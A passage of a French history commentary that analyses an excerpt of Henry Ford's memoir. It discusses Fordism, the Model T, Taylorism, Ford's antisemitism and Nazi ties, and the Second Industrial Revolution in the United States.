deuxième Révolution industrielle.

 

 

 

I – Henry Ford, un entrepreneur de la deuxième moitié du XIXème siècle…

A – Un « self made man » à la vision prospective mais à la personnalité controversée…

Henry Ford procède à une sorte d’autoportrait, qui associe les compétences d’un mécanicien, comme en attestent ses connaissances sur la consommation d’une automobile (« Plus une automobile est lourde, plus il lui faut de carburant et de lubrifiants. Plus est elle légère, moins elle consomme. » – §3), à l’ambition et la ténacité d’un homme aux idées fortes, comme le révèlent son langage (« Mon intention… » – §2 ; « Je songeais… » – §2 ; etc.) ainsi que ses propos (« Mon intention n’était pas du tout de m’établir constructeur sur un pied aussi médiocre. » – §2). C’est un homme à la vision prospective des choses : il fait le choix de la simplicité et de la légèreté (« Ce nouveau modèle…avait pour trait essentiel sa simplicité. » – §4), dans un souci d’efficacité et de rentabilité (« Plus elle est légère, moins elle consomme. » – §3). Mais il a aussi un projet économique global : vendre bon marché et en grande quantité (« Plus un article est simple et facile à fabriquer, meilleur marché il peut se vendre et, par conséquent, plus il se vend. » – §5), rassurer les acheteurs par la simplicité (« …la rendre tellement simple que personne ne pût manquer de la comprendre. » – §4), etc.

Mais c’est aussi un homme dont la personnalité et la vie soulèvent des controverses, voire des polémiques, du fait notamment de la diffusion de textes antisémites, tels son ouvrage The Internatioal Jew, paru en 1923 (il y vante, par exemple, la « salutaire réaction de l’Allemagne contre le Juif »). Mais c’est surtout sa prise de position en faveur du régime hitlérien qui va altérer l’image et l’influence de Ford dans la société américaine : l’industriel américain est en effet l’un des plus célèbres bailleurs de fonds étrangers du régime hitlérien. Il en sera d’ailleurs récompensé en 1938 par la Grand-Croix de l’Aigle allemand, ce qui soulèvera une vive polémique aux Etats-Unis.

 

B – …à l’origine du « fordisme », un des fondements de l’essor industriel de la deuxième moitié du XIXème siècle

Le fordisme se met en place : il s’agit de la méthode de production mise au point par Henry Ford, qui ajoute une dimension sociale à l’OST, ou organisation scientifique du travail. En effet, pour Ford, les salaires doivent être suffisamment élevés pour permettre aux ouvriers d’acheter les biens qu’ils produisent, quels que ce soient les produits concernés : c’est la politique du « Five dollar day », mise en place en 1914, et qui consiste en l’augmentation des salaires journaliers minimaux de $2,34 à $5 pour les ouvriers en apprentissage dans les usines de l’entreprise Ford.

Sa gestion de la production repose notamment sur la standardisation des pièces (« Ces parties étaient facilement accessibles et conçues de telle sorte qu’il n’était pas besoin d’une habileté exceptionnelle pour les réparer ou les remplacer. » – §4), mais aussi les chaînes de montage modernes, comme celles de l’usine Ford de Detroit (« Notre premier progrès dans l’assemblage consista à apporter le travail à l’ouvrier, au lieu d’amener l’ouvrier au travail. » – §6). La « Ford T » (« …modèle T. Ce nouveau modèle, dont je voulais faire notre modèle unique et le point de départ d’une vraie production en grand… » – §4) en est un bon exemple : il s’agit de la première voiture produite en masse (à plus de quinze millions d’exemplaires entre 1908 et 1927), et à prix décroissant de 40% entre 1908 et 1915.

 

 

Ainsi, la personnalité majeure de l’industriel Henry Ford est certes déterminante pour la compréhension de son époque, marquée par les progrès industriels que connaît l’Occident entre les années 1850 et 1920. Toutefois, la complexité voire ambiguïté du personnage ne doit pas occulter la réalité, celle des transformations sociales et économiques qui s’inscrivent dans un contexte global, celui de la deuxième Révolution industrielle, que le document ne permet toutefois pas d’appréhender dans sa globalité.

 

 

II – …emblématique des bouleversements dus à la deuxième Révolution industrielle

A – Henry Ford, un industriel et entrepreneur parmi d’autres…

Ford et sa société ne sont pas les seuls à réfléchir à la rationalisation du travail productif, comme l’illustre le cas de Frederick Winslow Taylor, promoteur de l’organisation scientifique du travail (ou OST) et ses analyses précoces en ce sens, notamment au sein de la Bethlehem Steel Co, pour laquelle il travaille de 1890 à 1893. Il s’agit d’une méthode de gestion et d’organisation du travail, qui repose sur une division ou décomposition extrême des phases successives de ce travail (chronométré…), la recherche des gestes les plus efficaces et l’adaptation des outils à ces gestes, etc., afin de définir une efficacité optimale, notamment dans le cadre du travail à la chaîne en usine.

La situation ouvrière aux Etats-Unis au début du XXème siècle est loin d’être idéale, et ne l’est pas plus dans la célèbre usine Ford de Highland Park, à Detroit, Michigan, qui, au plus fort de son activité, produisait mille Ford T par jour. Ceci explique le choix des hauts salaires par Henry Ford (« …à quel point les salaires sont inférieurs à ce qu’ils devraient être… » – §6), pour motiver les ouvriers en les stabilisant, et pour compenser le travail à la chaîne et sa pénibilité, dénoncés par Marx dans sa formule « l’aliénation du travail » (aliénation du travailleur, réduit à l’état de machine du fait d’un travail qui ne lui permet pas de se réaliser en tant qu’homme, car par trop abrutissant en raison du caractère monotone et répétitif des gestes à appliquer).

 

B – …qui s’inscrit dans un contexte général de mutations socio-économiques profondes

Les années 1890-1920 aux Etats-Unis sont en effet marquées par le développement d’une sorte de religion matérialiste du progrès, et le statut de « prophète » des grands hommes d’affaire comme Henry Ford, dans le contexte de la deuxième Révolution industrielle et de mutations qu’elle engendre (production, énergies…). L’exemple du rôle de l’automobile dans cette étape est à cet égard décisif : les années 1920 constituent une période après celle décrite par le document, période de diffusion de l’automobile, qui symbolise le mieux les progrès de la productivité et du niveau de vie, et ses corollaires (multiplication des routes et stations-service, essor des villes mais non plus déterminé par la proximité des gares, développement rapide des magasins à la périphérie des villes, etc.).

Mais la voiture est une rareté dans la société américaine du XIXème-XXème siècle : on recense seulement 14 000 véhicules immatriculés sur 76 millions d’habitants en 1900, et une voiture pour six Américains en 1929, à la veille de la Grande Dépression. La situation à Detroit l’illustre bien, comme l’indique Henry Ford, premier habitant de la ville à posséder une voiture (« Mon boogie à la gazoline fut la première, et longtemps la seule, automobile de Detroit. » – §1), ce qui donne lieu à des descriptions pittoresques de badauds curieux (« …partout où j’arrêtais ma voiture, se formait aussitôt un cercle de curieux. » – §1) voire sans-gêne (« …il se trouvait toujours quelqu’un d’indiscret pour essayer de la mettre en marche. » – §1). Donc ce n’est pas encore la « civilisation de l’automobile », que deviendra la société américaine dans les années 1930.

Cependant, Ford n’évoque pas du tout les autres changements profonds qui interviennent avec la deuxième Révolution industrielle : la féminisation croissante du salariat, la tertiarisation croissante des activités économiques, résultat de la création de nouveaux métiers du fait de l’industrialisation accrue (employés de bureau, cadres, transporteurs…), etc.

 

 

Ce document est intéressant en ce qu’il aide à comprendre, et illustre, des phénomènes de grande ampleur, tels la deuxième Révolution industrielle aux Etats-Unis, et le rôle de l’automobile ainsi que celui du fordisme dans ce bouleversement. Il est aussi l’illustration et le reflet du rôle novateur d’un entrepreneur, acteur de ces changements profonds, qui présente sa vision des choses au tournant des XIXème et XXème siècles. Toutefois, malgré le succès de l’ouvrage de Ford, My life and work, ce n’est pas un ouvrage d’historien, mais un texte personnel, qui engage son auteur sur des enjeux qui lui tenaient à cœur, mais ne fait pas œuvre d’historien. De plus, la part prise par un journaliste, collaborateur proche de Ford, Samuel Crowther, notamment dans le choix des témoignages ou du récit soumis à notre étude, est impossible à déterminer, donc influence aussi l’orientation possible donnée à cet extrait et à ses propos.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

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